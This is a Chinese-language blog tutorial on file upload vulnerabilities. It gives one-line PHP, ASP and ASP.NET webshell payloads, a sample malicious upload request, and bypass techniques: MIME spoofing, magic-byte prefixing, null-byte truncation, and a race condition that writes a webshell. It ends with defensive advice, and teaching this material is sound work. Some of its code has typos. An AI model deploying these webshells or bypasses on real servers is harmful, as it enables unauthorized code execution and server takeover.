簡單總結檔案上傳漏洞
寫在前面:無圖言diao系列;排版樣式我看著還行,不喜歡請ALT+F4;能看完絕對對你有用;程式碼基本能直接用;有錯誤懇請指出歡迎發郵件與我交流;參考了網上以有的部落格,侵刪;
0x00 檔案上傳漏洞概述
使用者突破服務端限制向伺服器上傳了未經允許的檔案,可能是惡意程式碼或是惡意程式。
但是存在問題,單一的檔案上傳漏洞並沒有直接造成伺服器許可權的丟失。如果伺服器web容器無法解析上傳的惡意程式碼,上傳的檔案將毫無意義,就相當於在硬碟上有一個病毒檔案,但如果我們永遠也不去執行它,那他就只是一段存在硬碟上的01而已
檔案上傳可能存在的安全問題:
- 上傳檔案為 Web 指令碼,++伺服器的 Web 容器解釋並執行了該指令碼++,導致程式碼執行——webshell;
- 上傳檔案是 Flash 的策略檔案 crossdomain.xml,攻擊者可以控制 Flash 在該域下的行為;
- 上傳檔案是病毒、木馬檔案,攻擊者用以誘騙使用者或者管理員下載執行;
- 上傳檔案是釣魚圖片或包含了指令碼的圖片,在某些版本的瀏覽器中被作為指令碼執行,進而被用於欺詐。
webshell 形成的條件:
- 上傳的檔案位於 Web 容器能夠覆蓋的目錄,從而能夠被 Web 容器解釋執行;
- 使用者能夠從 Web 上訪問這個檔案,從而觸發 Web 容器解釋執行上傳的指令碼;
0x01 檢測攔截方式與對應的繞過
Payload:一句話木馬:
php :<?php @eval($_POST('cmd'));?>
asp:<%eval request("cmd")%>
ASP\.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
1. 客戶端檢測
function checkFile(){ /*這段程式碼存在於網頁前端,當用戶單擊上傳檔案的按鍵時呼叫這個函式 執行的功能很簡單,設定一個標誌位,預設為false,通過jsp內建函式 取得檔案的副檔名,在一個白名單陣列中檢測是否命中,如果有則認為在 允許的範圍內,將標誌位改為true,允許上傳;如果沒有則拒絕上傳*/ var flag = false; var str = document.getElementById("file").value;//得到檔名 str = str.substring(str.lastIndexOf('.'+1));//獲取副檔名 var arr = new Array('png','bmp','gif','jpg');//允許的副檔名 for(var i = 0; i<arr.length; i++){ if(str==arr[i]){ flag=true; } } if(!flag){ alert("Error"); } return flag; }
針對以上js驗證程式碼,簡單兩種繞過方式:
- ++使用瀏覽器firebug外掛++:
找到並刪除呼叫js指令碼的HTML事件,則不會呼叫js指令碼進行驗證,直接上傳檔案 - ++使用中間代理burp suite++:
攔截並修改HTTP資料包中的資料,同時要注意HTTP請求頭中Content-Length,應該與實體正文長度一致,否則可能出現上傳失敗
2、服務端檢測
黑白名單驗證:
(1)++黑名單驗證++:
<?php
$Blacklist = array('asp','php','jsp','php5','asa','aspx');//黑名單
if(isset($_POST["submit"]) {
$name = $_FILES['file']['name'];//取得檔名
$extension = substr(strrchr($name,"."),1);//取得檔案字尾名
$boo = false;
foreach($Blacklist as $key => $value) {
if($value==$extension) {//命中黑名單
$boo = true;
break;
}
}
if(!$boo) {//未命中黑名單,則接受檔案,改名並另行存放在指定資料夾
$size = $_FILES['file']['size'];
$tmp = $_FILES['file']['tem_name'];
move_uploaded_file($tmp,$name);
echo "succeed path:".$name;
} else {
echo "failed";
}
}
?>
- 存在被忽略的危險副檔名,例如
asa, cer
- 沒有對檔名進行大小寫轉換操作,使用大寫字尾名將正常上傳並被解析,例如
pHp, AsP
- 能被解析的副檔名列表:
jsp jspx jspf asp asa cer aspx php php php3 php4 exe exee
- 在win下,如果檔名以
.
結尾或者以空格結尾,系統將自動去除,導致繞過驗證並在伺服器端寫程式時以正常字尾名寫入執行
(2)++白名單驗證++:
$postfix = end(explode('.','$_POST['filename']);
if($postfix=='jpg'||$postfix=='png'||$postfix=='gif'){
//save the file and do something next
} else {
echo "invalid file type";
return;
}
與黑名單相反,將驗證陣列換為允許上傳的字尾名,進行迭代判斷;若命中則允許上傳,否則拒絕上傳。由於一些解析漏洞的存在,例如IIS6.0中,命名xxx.asp;1.jpg
上傳,格式為jpg,但在伺服器端解析時,將作為asp指令碼解析
MIME驗證:
mime介紹:http://www.w3school.com.cn/media/media_mimeref.asp
是可以反映出一個檔案格式的因特網標準
前臺應用程式將判斷上傳檔案的MIME格式,並將其附加到HTTP請求頭中,作為服務端判斷檢測的依據。使用中間代理工具可以修改HTTP頭,將Connect-Type:
欄位繞過檢測。
//抓到的資料包
POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原為 Content-Type: text/plain)
<?php system($_GET['command']);?>
<?php//簡單的一段後端檢測程式碼
$black_list = array('asp', 'php', 'jsp', 'php5', 'asa', 'aspx');
$flag = true;
$extention = _ FILES['filename']['type'];
//通過_FILE[][]方式取得的檔案型別是通過HTTP資料包中的content-type欄位得來的,
//可以很容易的通過代理軟體更改資料包中的內容
foreach($a as $key=>$value){
if($a == $key){
$flag = false;
break;
}
}
?>
檔案頭繞過:
在客戶端可以讀取一部分檔案內容,檢測其檔案頭和檔案結束符,這種方法利用的是每一個特定型別的檔案都會有不太一樣的開頭或者標誌位。可以通過比如php的exif_imagetype()函式,一個通過這種方法來過濾的示例程式碼如下:
<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if ($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
此時,把指令碼頭部加上相應的檔案幻數即可,
例如GIF89a<?php phpinfo();?>
。原理是php引擎會將<? 之前的內容當作html文字,不解釋而跳過之,後面的程式碼仍然能夠得到執行
其他的檔案幻數如下表:
格式 | 檔案頭 |
---|---|
TIFF (tif) | 49492A00 |
Windows Bitmap (bmp) | 424D |
CAD (dwg) | 41433130 |
Adobe Photoshop (psd) | 38425053 |
Rich Text Format (rtf) | 7B5C727466 |
MS Word/Excel (xls.or.doc) | D0CF11E0 |
MS Access (mdb) | 5374616E64617264204A |
ZIP Archive (zip) | 504B0304 |
RAR Archive (rar) | 52617221 |
Wave (wav) | 57415645 |
AVI (avi) | 41564920 |
Real Media (rm) | 2E524D46 |
MPEG (mpg) | 000001BA |
MPEG (mpg) | 000001B3 |
Quicktime (mov) | 6D6F6F76 |
Adobe Acrobat (pdf) | 255044462D312E |
Windows Media (asf) | 3026B2758E66CF11 |
MIDI (mid) | 4D546864 |
WAF繞過
TODO
· 00截斷繞過
由於在C語言中00代表字串的結束,在一個正常的檔名末尾加上00,在組合拼接字串的時候,就會導致截斷。
有一種業務,提供上傳的檔案改名功能,在上傳的檔案符合要求存到伺服器上之後,要求以post或者get方法再傳輸一個檔名上去,通過檢測檔案的檔案字尾名再在後臺將原本檔案的字尾名和後來的檔名拼接起來形成一個新的檔名+字尾名。由於字尾名不是使用者能控制的,導致上傳的惡意程式碼無法解析
前半部分的檔案上傳的時候,為了符合服務端要求,不得不把php等程式碼檔案改字尾名以便上傳。但是改名功能提供瞭解析惡意程式碼的可能。
$ext_arr = array('flv', 'swf', 'mp3', 'mp4', '3gp', 'zip', 'rar', 'gif', 'png', 'bmp');//允許的字尾名
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//使用字串取子串函式,把‘.’當作分隔符分離開檔名和字尾名,取得字尾名
if(in_array($file_ext,$ext_arr)){//如果檔案字尾名在白名單內
$tempFile = $_FILES['file']['tep_name'];//臨時存放的檔案的名字
$targetPath = $_REQUEST['jieduan'].rand(10,99).data("YmdHis");
//從超全域性變數REQUEST裡取得'jieduan'的值,通過.方法拼接字串
//由於字串拼接的存在,導致了00截斷的產生
if(move_upload_file($tempFile,$targetPath)){
echo "[email protected]$targetPath";
}
}
以上程式碼簡單構建了一個改名功能。當php版本小於5.3.4、magic_quotes_gpc為off時,存在00截斷攻擊。
當以post方法提交資料時,攔截http請求,新增一個0x00欄位(可以先輸入空格即0x20,再將其改為0x00)
當以get方法提交時,將0x00 url編碼為%00,傳送。
檔案內容繞過(條件競爭)
一些網站檔案檢測邏輯是先允許上傳任意檔案,然後檢查檔案內容 是否包含可執行指令碼,如果包含則刪除。這裡使用sleep()函式來模擬判 斷是否含有指令碼所需要的時間。
繞過方法:利用檢測到刪除的時間差,立刻訪問上傳的檔案,通過這個檔案輸出另一個php檔案
<?php
fputs(fopen("../webshell.php","W"), "<?php phpinfo()?>");
?>
訪問以上php檔案就會輸出一個php檔案,內容就是一個webshell
0x03 防禦思路和安全開發
防止未經允許的檔案上傳:
- 不使用前端檢測,只應用後端檢測檔案的型別
- 採用白名單策略和檔案型別檢測
- 及時更新web容器,防止解析漏洞繞過
如果被繞過,檔案已經上傳:
- 檔案檢視採用資料庫獲取檔名,從而在相應檔案伺服器讀取檔案
- 檔案上傳限制檔案大小,個人上傳數量等
- 更改使用者上傳檔案的名稱,更改預設的檔案儲存路徑,以防止使用者通過url直接訪問到上傳的檔案
- 更改web容器覆蓋的目錄,禁止解析使用者資料夾裡的檔案,防止上傳的檔案被執行
0x04 其他
在一開始提到過,檔案上傳漏洞並不會直接造成伺服器許可權的洩露,如果web容器沒有去解析執行上傳的惡意程式碼,那麼並不會造成危害。以最壞的情況去考慮,未經允許的檔案已經上傳到了伺服器上,那能做的事情就是防止檔案被解析執行。這就牽涉到檔案解析漏洞。